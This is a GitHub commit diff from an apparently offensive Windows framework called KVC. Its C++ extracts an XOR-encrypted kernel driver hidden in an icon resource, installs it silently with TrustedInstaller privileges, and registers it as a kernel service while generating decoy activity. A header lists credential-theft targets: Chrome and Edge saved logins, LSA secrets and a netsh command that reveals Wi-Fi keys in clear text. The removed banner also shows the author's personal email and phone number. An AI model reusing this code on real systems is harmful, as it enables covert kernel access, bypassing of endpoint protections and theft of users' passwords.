Fixed Windows 10 driver creation

This commit is contained in:
Marek Wesołowski
2025-09-18 16:04:26 +02:00
committed by GitHub
parent d6fb59442e
commit dc2a1f0717
2 changed files with 611 additions and 581 deletions

View File

@@ -1,369 +1,356 @@
/******************************************************************************* // ControllerDriverManager.cpp
_ ____ ______ #include "Controller.h"
| |/ /\ \ / / ___| #include "common.h"
| ' / \ \ / / | #include "Utils.h"
| . \ \ V /| |___ #include "resource.h"
|_|\_\ \_/ \____| #include <filesystem>
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, namespace fs = std::filesystem;
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation // Driver service lifecycle management
of kernel-level primitives** for legitimate security research and penetration testing. bool Controller::StopDriverService() noexcept {
DEBUG(L"StopDriverService called");
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware if (!InitDynamicAPIs()) {
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures DEBUG(L"InitDynamicAPIs failed in StopDriverService");
that define these protections. return false;
}
-----------------------------------------------------------------------------
Author : Marek Wesołowski SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
Email : marek@wesolowski.eu.org if (!hSCM) {
Phone : +48 607 440 283 (Tel/WhatsApp) DEBUG(L"OpenSCManagerW failed: %d", GetLastError());
Date : 04-09-2025 return false;
}
*******************************************************************************/
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS);
// ControllerDriverManager.cpp if (!hService) {
#include "Controller.h" DWORD err = GetLastError();
#include "common.h" CloseServiceHandle(hSCM);
#include "Utils.h"
#include "resource.h" if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
#include <filesystem> DEBUG(L"Service does not exist - considered stopped");
return true;
namespace fs = std::filesystem; }
// Driver service lifecycle management DEBUG(L"OpenServiceW failed: %d", err);
bool Controller::StopDriverService() noexcept { return false;
DEBUG(L"StopDriverService called"); }
if (!InitDynamicAPIs()) { SERVICE_STATUS status;
DEBUG(L"InitDynamicAPIs failed in StopDriverService"); if (QueryServiceStatus(hService, &status)) {
return false; if (status.dwCurrentState == SERVICE_STOPPED) {
} DEBUG(L"Service already stopped");
CloseServiceHandle(hService);
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); CloseServiceHandle(hSCM);
if (!hSCM) { return true;
DEBUG(L"OpenSCManagerW failed: %d", GetLastError()); }
return false; }
}
SERVICE_STATUS stopStatus;
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus);
if (!hService) { DWORD err = GetLastError();
DWORD err = GetLastError();
CloseServiceHandle(hSCM); CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
DEBUG(L"Service does not exist - considered stopped"); DEBUG(L"ControlService result: %d, error: %d", success, err);
return true;
} return success || err == ERROR_SERVICE_NOT_ACTIVE;
}
DEBUG(L"OpenServiceW failed: %d", err);
return false; // Extract driver from steganographic icon resource
} std::vector<BYTE> Controller::ExtractEncryptedDriver() noexcept {
auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA);
SERVICE_STATUS status; if (iconData.size() <= 9662) {
if (QueryServiceStatus(hService, &status)) { ERROR(L"Icon resource too small or corrupted - steganographic driver missing");
if (status.dwCurrentState == SERVICE_STOPPED) { return {};
DEBUG(L"Service already stopped"); }
CloseServiceHandle(hService); // Skip first 9662 bytes (actual icon data) to get embedded driver
CloseServiceHandle(hSCM); return std::vector<BYTE>(iconData.begin() + 9662, iconData.end());
return true; }
}
} // Decrypt embedded driver using XOR cipher
// Decrypt embedded driver using XOR cipher
SERVICE_STATUS stopStatus; std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept {
BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus); if (encryptedData.empty()) {
DWORD err = GetLastError(); ERROR(L"No encrypted driver data provided");
return {};
CloseServiceHandle(hService); }
CloseServiceHandle(hSCM);
constexpr std::array<BYTE, 7> key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
DEBUG(L"ControlService result: %d, error: %d", success, err); std::vector<BYTE> decryptedData = encryptedData;
return success || err == ERROR_SERVICE_NOT_ACTIVE; // Simple XOR decryption with repeating key
} for (size_t i = 0; i < decryptedData.size(); ++i) {
decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey'
// Extract driver from steganographic icon resource }
std::vector<BYTE> Controller::ExtractEncryptedDriver() noexcept {
auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA); return decryptedData;
if (iconData.size() <= 9662) { }
ERROR(L"Icon resource too small or corrupted - steganographic driver missing");
return {}; // Silent driver installation with TrustedInstaller privileges
} bool Controller::InstallDriverSilently() noexcept {
// Skip first 9662 bytes (actual icon data) to get embedded driver auto encryptedData = ExtractEncryptedDriver();
return std::vector<BYTE>(iconData.begin() + 9662, iconData.end()); if (encryptedData.empty()) return false;
}
auto driverData = DecryptDriver(encryptedData);
// Decrypt embedded driver using XOR cipher if (driverData.empty()) return false;
// Decrypt embedded driver using XOR cipher
std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept { fs::path tempDir = GetSystemTempPath();
if (encryptedData.empty()) { fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
ERROR(L"No encrypted driver data provided");
return {}; if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false;
}
fs::path driverDir = GetDriverStorePath();
constexpr std::array<BYTE, 7> key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
std::vector<BYTE> decryptedData = encryptedData; // Ensure target directory exists with TrustedInstaller privileges
DWORD attrs = GetFileAttributesW(driverDir.c_str());
// Simple XOR decryption with repeating key if (attrs == INVALID_FILE_ATTRIBUTES) {
for (size_t i = 0; i < decryptedData.size(); ++i) { // Directory doesn't exist - create it with TrustedInstaller rights
decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey' std::wstring createDirCommand = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\"";
} if (!RunAsTrustedInstallerSilent(createDirCommand)) {
DeleteFileW(tempDriverPath.c_str());
return decryptedData; ERROR(L"Failed to create driver directory with TrustedInstaller privileges");
} return false;
}
// Silent driver installation with TrustedInstaller privileges }
bool Controller::InstallDriverSilently() noexcept {
auto encryptedData = ExtractEncryptedDriver(); fs::path driverPath = driverDir / fs::path(GetDriverFileName());
if (encryptedData.empty()) return false;
// Copy with system privileges
auto driverData = DecryptDriver(encryptedData); std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\"";
if (driverData.empty()) return false; if (!RunAsTrustedInstallerSilent(copyCommand)) {
DeleteFileW(tempDriverPath.c_str());
fs::path tempDir = GetSystemTempPath(); // Use system temp instead of user temp return false;
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); }
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false; DeleteFileW(tempDriverPath.c_str());
fs::path driverDir = GetDriverStorePath(); return RegisterDriverServiceSilent(driverPath.wstring());
fs::path driverPath = driverDir / fs::path(GetDriverFileName()); }
// Copy with system privileges bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\""; if (!InitDynamicAPIs()) return false;
if (!RunAsTrustedInstallerSilent(copyCommand)) { GenerateFakeActivity();
DeleteFileW(tempDriverPath.c_str());
return false; SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
} if (!hSCM) return false;
DeleteFileW(tempDriverPath.c_str()); SC_HANDLE hService = g_pCreateServiceW(
hSCM,
// REGISTER THE SERVICE WITH CORRECT PRIVILEGES GetServiceName().c_str(),
return RegisterDriverServiceSilent(driverPath.wstring()); L"Kernel Driver Service",
} SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept { SERVICE_DEMAND_START, // start = demand (can be changed to auto)
if (!InitDynamicAPIs()) return false; SERVICE_ERROR_NORMAL,
GenerateFakeActivity(); driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); );
if (!hSCM) return false;
bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
SC_HANDLE hService = g_pCreateServiceW(
hSCM, if (hService) CloseServiceHandle(hService);
GetServiceName().c_str(), CloseServiceHandle(hSCM);
L"Kernel Driver Service", return success;
SERVICE_ALL_ACCESS, }
SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel
SERVICE_DEMAND_START, // start = demand (can be changed to auto) bool Controller::StartDriverServiceSilent() noexcept {
SERVICE_ERROR_NORMAL, if (!InitDynamicAPIs()) return false;
driverPath.c_str(), GenerateFakeActivity();
nullptr, nullptr, nullptr, nullptr, nullptr
); SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
if (hService) CloseServiceHandle(hService); if (!hService) {
CloseServiceHandle(hSCM); CloseServiceHandle(hSCM);
return success; return false;
} }
bool Controller::StartDriverServiceSilent() noexcept { SERVICE_STATUS status;
if (!InitDynamicAPIs()) return false; bool success = true;
GenerateFakeActivity();
if (QueryServiceStatus(hService, &status)) {
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); if (status.dwCurrentState != SERVICE_RUNNING) {
if (!hSCM) return false; success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING);
}
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); }
if (!hService) {
CloseServiceHandle(hSCM); CloseServiceHandle(hService);
return false; CloseServiceHandle(hSCM);
} return success;
}
SERVICE_STATUS status;
bool success = true; // Legacy driver installation with enhanced error handling
bool Controller::InstallDriver() noexcept {
if (QueryServiceStatus(hService, &status)) { auto encryptedData = ExtractEncryptedDriver();
if (status.dwCurrentState != SERVICE_RUNNING) { if (encryptedData.empty()) {
success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING); ERROR(L"Failed to extract encrypted driver from icon resource");
} return false;
} }
CloseServiceHandle(hService); auto driverData = DecryptDriver(encryptedData);
CloseServiceHandle(hSCM); if (driverData.empty()) {
return success; ERROR(L"Failed to decrypt embedded driver data");
} return false;
}
// Legacy driver installation with enhanced error handling
bool Controller::InstallDriver() noexcept { fs::path tempDir = fs::temp_directory_path();
auto encryptedData = ExtractEncryptedDriver(); fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
if (encryptedData.empty()) {
ERROR(L"Failed to extract encrypted driver from icon resource"); if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) {
return false; ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str());
} return false;
}
auto driverData = DecryptDriver(encryptedData);
if (driverData.empty()) { fs::path driverDir = GetDriverStorePath();
ERROR(L"Failed to decrypt embedded driver data"); fs::path driverPath = driverDir / fs::path(GetDriverFileName());
return false;
} std::error_code ec;
fs::create_directories(driverDir, ec);
fs::path tempDir = fs::temp_directory_path(); if (ec) {
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); INFO(L"Directory creation failed (may already exist)");
}
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) {
ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str()); std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring();
return false; INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str());
}
if (!RunAsTrustedInstaller(copyCommand)) {
fs::path driverDir = GetDriverStorePath(); ERROR(L"Failed to copy driver to system directory with elevated privileges");
fs::path driverPath = driverDir / fs::path(GetDriverFileName()); DeleteFileW(tempDriverPath.c_str());
return false;
std::error_code ec; }
fs::create_directories(driverDir, ec);
if (ec) { if (!fs::exists(driverPath)) {
INFO(L"Directory creation failed (may already exist)"); ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str());
} DeleteFileW(tempDriverPath.c_str());
return false;
std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring(); }
INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str());
SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str());
if (!RunAsTrustedInstaller(copyCommand)) { DeleteFileW(tempDriverPath.c_str());
ERROR(L"Failed to copy driver to system directory with elevated privileges");
DeleteFileW(tempDriverPath.c_str()); if (!InitDynamicAPIs()) return false;
return false; GenerateFakeActivity();
}
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!fs::exists(driverPath)) { if (!hSCM) {
ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str()); ERROR(L"Failed to open service control manager: %d", GetLastError());
DeleteFileW(tempDriverPath.c_str()); return false;
return false; }
}
SC_HANDLE hService = g_pCreateServiceW(
SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str()); hSCM, GetServiceName().c_str(), L"Memory Access Driver",
DeleteFileW(tempDriverPath.c_str()); SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, // KEY CHANGE
if (!InitDynamicAPIs()) return false; SERVICE_DEMAND_START, // start= demand
GenerateFakeActivity(); SERVICE_ERROR_NORMAL, driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); );
if (!hSCM) {
ERROR(L"Failed to open service control manager: %d", GetLastError()); if (!hService) {
return false; DWORD err = GetLastError();
} CloseServiceHandle(hSCM);
SC_HANDLE hService = g_pCreateServiceW( if (err != ERROR_SERVICE_EXISTS) {
hSCM, GetServiceName().c_str(), L"Memory Access Driver", ERROR(L"Failed to create driver service: %d", err);
SERVICE_ALL_ACCESS, return false;
SERVICE_KERNEL_DRIVER, // KEY CHANGE }
SERVICE_DEMAND_START, // start= demand
SERVICE_ERROR_NORMAL, driverPath.c_str(), INFO(L"Driver service already exists, proceeding");
nullptr, nullptr, nullptr, nullptr, nullptr } else {
); CloseServiceHandle(hService);
SUCCESS(L"Driver service created successfully");
if (!hService) { }
DWORD err = GetLastError();
CloseServiceHandle(hSCM); CloseServiceHandle(hSCM);
SUCCESS(L"Driver installed and registered as Windows service");
if (err != ERROR_SERVICE_EXISTS) { return true;
ERROR(L"Failed to create driver service: %d", err); }
return false;
} bool Controller::UninstallDriver() noexcept {
StopDriverService();
INFO(L"Driver service already exists, proceeding");
} else { if (!InitDynamicAPIs()) return true;
CloseServiceHandle(hService);
SUCCESS(L"Driver service created successfully"); SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
} if (!hSCM) {
return true;
CloseServiceHandle(hSCM); }
SUCCESS(L"Driver installed and registered as Windows service");
return true; std::wstring serviceName = GetServiceName();
} SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE);
if (!hService) {
bool Controller::UninstallDriver() noexcept { CloseServiceHandle(hSCM);
StopDriverService(); return true;
}
if (!InitDynamicAPIs()) return true;
BOOL success = g_pDeleteService(hService);
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); CloseServiceHandle(hService);
if (!hSCM) { CloseServiceHandle(hSCM);
return true;
} if (!success) {
DWORD err = GetLastError();
std::wstring serviceName = GetServiceName(); if (err != ERROR_SERVICE_MARKED_FOR_DELETE) {
SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE); ERROR(L"Failed to delete driver service: %d", err);
if (!hService) { return false;
CloseServiceHandle(hSCM); }
return true; }
}
// Clean up driver file
BOOL success = g_pDeleteService(hService); fs::path driverDir = GetDriverStorePath();
CloseServiceHandle(hService); fs::path driverPath = driverDir / fs::path(GetDriverFileName());
CloseServiceHandle(hSCM);
std::error_code ec;
if (!success) { if (!fs::remove(driverPath, ec)) {
DWORD err = GetLastError(); if (ec.value() != ERROR_FILE_NOT_FOUND) {
if (err != ERROR_SERVICE_MARKED_FOR_DELETE) { std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\"";
ERROR(L"Failed to delete driver service: %d", err); RunAsTrustedInstallerSilent(delCommand);
return false; }
} }
}
return true;
// Clean up driver file }
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName()); bool Controller::StartDriverService() noexcept {
if (!InitDynamicAPIs()) return false;
std::error_code ec; GenerateFakeActivity();
if (!fs::remove(driverPath, ec)) {
if (ec.value() != ERROR_FILE_NOT_FOUND) { SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\""; if (!hSCM) {
RunAsTrustedInstallerSilent(delCommand); ERROR(L"Failed to open service control manager: %d", GetLastError());
} return false;
} }
return true; SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
} if (!hService) {
CloseServiceHandle(hSCM);
bool Controller::StartDriverService() noexcept { ERROR(L"Failed to open kernel driver service: %d", GetLastError());
if (!InitDynamicAPIs()) return false; return false;
GenerateFakeActivity(); }
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); SERVICE_STATUS status;
if (!hSCM) { if (QueryServiceStatus(hService, &status)) {
ERROR(L"Failed to open service control manager: %d", GetLastError()); if (status.dwCurrentState == SERVICE_RUNNING) {
return false; CloseServiceHandle(hService);
} CloseServiceHandle(hSCM);
INFO(L"Kernel driver service already running");
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); return true;
if (!hService) { }
CloseServiceHandle(hSCM); }
ERROR(L"Failed to open kernel driver service: %d", GetLastError());
return false; BOOL success = g_pStartServiceW(hService, 0, nullptr);
} DWORD err = GetLastError();
SERVICE_STATUS status; CloseServiceHandle(hService);
if (QueryServiceStatus(hService, &status)) { CloseServiceHandle(hSCM);
if (status.dwCurrentState == SERVICE_RUNNING) {
CloseServiceHandle(hService); if (!success && err != ERROR_SERVICE_ALREADY_RUNNING) {
CloseServiceHandle(hSCM); ERROR(L"Failed to start kernel driver service: %d", err);
INFO(L"Kernel driver service already running"); return false;
return true; }
}
} SUCCESS(L"Kernel driver service started successfully");
return true;
BOOL success = g_pStartServiceW(hService, 0, nullptr);
DWORD err = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (!success && err != ERROR_SERVICE_ALREADY_RUNNING) {
ERROR(L"Failed to start kernel driver service: %d", err);
return false;
}
SUCCESS(L"Kernel driver service started successfully");
return true;
} }

View File

@@ -1,213 +1,256 @@
#pragma once #pragma once
#include <Windows.h> #include <Windows.h>
#include <winternl.h> #include <winternl.h>
#include <DbgHelp.h> #include <DbgHelp.h>
#include <Shellapi.h> #include <Shellapi.h>
#include <Shlobj.h> #include <Shlobj.h>
#include <accctrl.h> #include <accctrl.h>
#include <aclapi.h> #include <aclapi.h>
#include <iostream> #include <iostream>
#include <string> #include <string>
#include <optional> #include <optional>
#include <sstream> #include <sstream>
#include <array> #include <array>
#include <chrono> #include <chrono>
#include <memory> #include <memory>
#ifdef BUILD_DATE #ifdef BUILD_DATE
#define __DATE__ BUILD_DATE #define __DATE__ BUILD_DATE
#endif #endif
#ifdef BUILD_TIME #ifdef BUILD_TIME
#define __TIME__ BUILD_TIME #define __TIME__ BUILD_TIME
#endif #endif
#define kvc_DEBUG_ENABLED 0 #define kvc_DEBUG_ENABLED 0
#ifdef ERROR #ifdef ERROR
#undef ERROR #undef ERROR
#endif #endif
// Smart module handle management // Smart module handle management
struct ModuleDeleter { struct ModuleDeleter {
void operator()(HMODULE mod) const noexcept { void operator()(HMODULE mod) const noexcept {
if (mod) { if (mod) {
FreeLibrary(mod); FreeLibrary(mod);
} }
} }
}; };
struct SystemModuleDeleter { struct SystemModuleDeleter {
void operator()(HMODULE) const noexcept { void operator()(HMODULE) const noexcept {
// System modules obtained via GetModuleHandle don't need to be freed // System modules obtained via GetModuleHandle don't need to be freed
} }
}; };
using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>; using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
using SystemModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, SystemModuleDeleter>; using SystemModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, SystemModuleDeleter>;
// Logging system with message formatting // Logging system with message formatting
template<typename... Args> template<typename... Args>
void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args) void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
{ {
std::wstringstream ss; std::wstringstream ss;
ss << prefix; ss << prefix;
if constexpr (sizeof...(args) == 0) if constexpr (sizeof...(args) == 0)
{ {
ss << format; ss << format;
} }
else else
{ {
wchar_t buffer[1024]; wchar_t buffer[1024];
swprintf_s(buffer, format, std::forward<Args>(args)...); swprintf_s(buffer, format, std::forward<Args>(args)...);
ss << buffer; ss << buffer;
} }
ss << L"\r\n"; ss << L"\r\n";
std::wcout << ss.str(); std::wcout << ss.str();
} }
#if kvc_DEBUG_ENABLED #if kvc_DEBUG_ENABLED
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__) #define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__)
#else #else
#define DEBUG(format, ...) do {} while(0) #define DEBUG(format, ...) do {} while(0)
#endif #endif
#define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__) #define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__)
#define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__) #define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__)
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__) #define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__)
#define LASTERROR(f) \ #define LASTERROR(f) \
do { \ do { \
wchar_t buf[256]; \ wchar_t buf[256]; \
swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \ swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \
std::wcout << buf; \ std::wcout << buf; \
} while(0) } while(0)
// Windows protection type definitions // Windows protection type definitions
enum class PS_PROTECTED_TYPE : UCHAR enum class PS_PROTECTED_TYPE : UCHAR
{ {
None = 0, None = 0,
ProtectedLight = 1, ProtectedLight = 1,
Protected = 2 Protected = 2
}; };
enum class PS_PROTECTED_SIGNER : UCHAR enum class PS_PROTECTED_SIGNER : UCHAR
{ {
None = 0, None = 0,
Authenticode = 1, Authenticode = 1,
CodeGen = 2, CodeGen = 2,
Antimalware = 3, Antimalware = 3,
Lsa = 4, Lsa = 4,
Windows = 5, Windows = 5,
WinTcb = 6, WinTcb = 6,
WinSystem = 7, WinSystem = 7,
App = 8, App = 8,
Max = 9 Max = 9
}; };
// Service-related constants // Service-related constants
namespace ServiceConstants { namespace ServiceConstants {
constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl"; constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl";
constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework"; constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework";
constexpr const wchar_t* SERVICE_PARAM = L"--service"; constexpr const wchar_t* SERVICE_PARAM = L"--service";
// Keyboard hook settings // Keyboard hook settings
constexpr int CTRL_SEQUENCE_LENGTH = 5; constexpr int CTRL_SEQUENCE_LENGTH = 5;
constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000; constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000;
constexpr DWORD CTRL_DEBOUNCE_MS = 50; constexpr DWORD CTRL_DEBOUNCE_MS = 50;
} }
// DPAPI constants for password extraction // DPAPI constants for password extraction
namespace DPAPIConstants { namespace DPAPIConstants {
constexpr int SQLITE_OK = 0; constexpr int SQLITE_OK = 0;
constexpr int SQLITE_ROW = 100; constexpr int SQLITE_ROW = 100;
constexpr int SQLITE_DONE = 101; constexpr int SQLITE_DONE = 101;
constexpr int SQLITE_OPEN_READONLY = 0x00000001; constexpr int SQLITE_OPEN_READONLY = 0x00000001;
inline std::string GetChromeV10Prefix() { return "v10"; } inline std::string GetChromeV10Prefix() { return "v10"; }
inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; } inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; }
inline std::wstring GetSecurityPolicySecrets() { return L"SECURITY\\Policy\\Secrets"; } inline std::wstring GetSecurityPolicySecrets() { return L"SECURITY\\Policy\\Secrets"; }
inline std::wstring GetDPAPISystemKey() { return L"DPAPI_SYSTEM"; } inline std::wstring GetDPAPISystemKey() { return L"DPAPI_SYSTEM"; }
inline std::wstring GetNLKMKey() { return L"NL$KM"; } inline std::wstring GetNLKMKey() { return L"NL$KM"; }
inline std::wstring GetDefaultPasswordKey() { return L"DefaultPassword"; } inline std::wstring GetDefaultPasswordKey() { return L"DefaultPassword"; }
inline std::wstring GetCurrVal() { return L"CurrVal"; } inline std::wstring GetCurrVal() { return L"CurrVal"; }
inline std::wstring GetOldVal() { return L"OldVal"; } inline std::wstring GetOldVal() { return L"OldVal"; }
inline std::wstring GetChromeUserData() { return L"\\Google\\Chrome\\User Data"; } inline std::wstring GetChromeUserData() { return L"\\Google\\Chrome\\User Data"; }
inline std::wstring GetEdgeUserData() { return L"\\Microsoft\\Edge\\User Data"; } inline std::wstring GetEdgeUserData() { return L"\\Microsoft\\Edge\\User Data"; }
inline std::wstring GetLocalStateFile() { return L"\\Local State"; } inline std::wstring GetLocalStateFile() { return L"\\Local State"; }
inline std::wstring GetLoginDataFile() { return L"\\Login Data"; } inline std::wstring GetLoginDataFile() { return L"\\Login Data"; }
inline std::string GetEncryptedKeyField() { return "\"encrypted_key\":"; } inline std::string GetEncryptedKeyField() { return "\"encrypted_key\":"; }
inline std::string GetLocalAppData() { return "LOCALAPPDATA"; } inline std::string GetLocalAppData() { return "LOCALAPPDATA"; }
inline std::wstring GetHTMLExt() { return L".html"; } inline std::wstring GetHTMLExt() { return L".html"; }
inline std::wstring GetTXTExt() { return L".txt"; } inline std::wstring GetTXTExt() { return L".txt"; }
inline std::wstring GetDBExt() { return L".db"; } inline std::wstring GetDBExt() { return L".db"; }
inline std::wstring GetTempLoginDB() { return L"temp_login_data.db"; } inline std::wstring GetTempLoginDB() { return L"temp_login_data.db"; }
inline std::wstring GetTempPattern() { return L"temp_login_data"; } inline std::wstring GetTempPattern() { return L"temp_login_data"; }
inline std::string GetNetshShowProfiles() { return "netsh wlan show profiles"; } inline std::string GetNetshShowProfiles() { return "netsh wlan show profiles"; }
inline std::string GetNetshShowProfileKey() { return "netsh wlan show profile name=\""; } inline std::string GetNetshShowProfileKey() { return "netsh wlan show profile name=\""; }
inline std::string GetNetshKeyClear() { return "\" key=clear"; } inline std::string GetNetshKeyClear() { return "\" key=clear"; }
inline std::string GetWiFiProfileMarker() { return "All User Profile"; } inline std::string GetWiFiProfileMarker() { return "All User Profile"; }
inline std::string GetWiFiKeyContent() { return "Key Content"; } inline std::string GetWiFiKeyContent() { return "Key Content"; }
inline std::string GetLoginQuery() { return "SELECT origin_url, username_value, password_value FROM logins"; } inline std::string GetLoginQuery() { return "SELECT origin_url, username_value, password_value FROM logins"; }
inline std::wstring GetStatusDecrypted() { return L"DECRYPTED"; } inline std::wstring GetStatusDecrypted() { return L"DECRYPTED"; }
inline std::wstring GetStatusClearText() { return L"CLEAR_TEXT"; } inline std::wstring GetStatusClearText() { return L"CLEAR_TEXT"; }
inline std::wstring GetStatusEncrypted() { return L"ENCRYPTED"; } inline std::wstring GetStatusEncrypted() { return L"ENCRYPTED"; }
inline std::wstring GetStatusFailed() { return L"FAILED"; } inline std::wstring GetStatusFailed() { return L"FAILED"; }
inline std::wstring GetStatusExtracted() { return L"EXTRACTED"; } inline std::wstring GetStatusExtracted() { return L"EXTRACTED"; }
} }
// Dynamic API loading globals for driver operations // Dynamic API loading globals for driver operations
extern ModuleHandle g_advapi32; extern ModuleHandle g_advapi32;
